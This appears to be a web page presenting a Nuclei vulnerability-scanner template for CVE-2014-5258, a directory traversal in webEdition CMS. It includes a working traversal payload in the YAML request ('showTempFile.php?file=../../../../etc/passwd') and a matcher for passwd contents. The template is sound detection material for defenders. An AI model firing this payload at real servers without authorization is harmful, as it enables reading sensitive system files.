webEdition 6.3.8.0 - Directory Traversal

ID: CVE-2014-5258

Severity: medium

Author: daffainfo

Tags: cve2014,cve,edb,packetstorm,lfi,webedition

Description

A directory traversal vulnerability in showTempFile.php in webEdition CMS before 6.3.9.0 Beta allows remote authenticated users to read arbitrary files via a .. (dot dot) in the file parameter.

YAML Source

id: CVE-2014-5258

info:
  name: webEdition 6.3.8.0 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in showTempFile.php in webEdition CMS before 6.3.9.0 Beta allows remote authenticated users to read arbitrary files via a .. (dot dot) in the file parameter.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to a patched version of webEdition or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-5258
    - https://www.exploit-db.com/exploits/34761
    - http://packetstormsecurity.com/files/128301/webEdition-6.3.8.0-Path-Traversal.html
    - http://www.webedition.org/de/webedition-cms/versionshistorie/webedition-6/version-6.3.9.0
    - http://www.webedition.org/de/aktuelles/webedition-cms/webEdition-6.3.9-Beta-erschienen
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:S/C:P/I:N/A:N
    cvss-score: 4
    cve-id: CVE-2014-5258
    cwe-id: CWE-22
    epss-score: 0.01386
    epss-percentile: 0.86062
    cpe: cpe:2.3:a:webedition:webedition_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: webedition
    product: webedition_cms
    shodan-query: cpe:"cpe:2.3:a:webedition:webedition_cms"
  tags: cve2014,cve,edb,packetstorm,lfi,webedition

http:
  - method: GET
    path:
      - "{{BaseURL}}/webEdition/showTempFile.php?file=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009e10c2a16cdd835f7a097fbd3b4a0f54c2f4cac914cf13372c2c1952575056f80220683e4512846fc0c3b6a30355883c1077f69b9e942455a4f20d0c7c511a904be9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-5258.yaml"

View on Github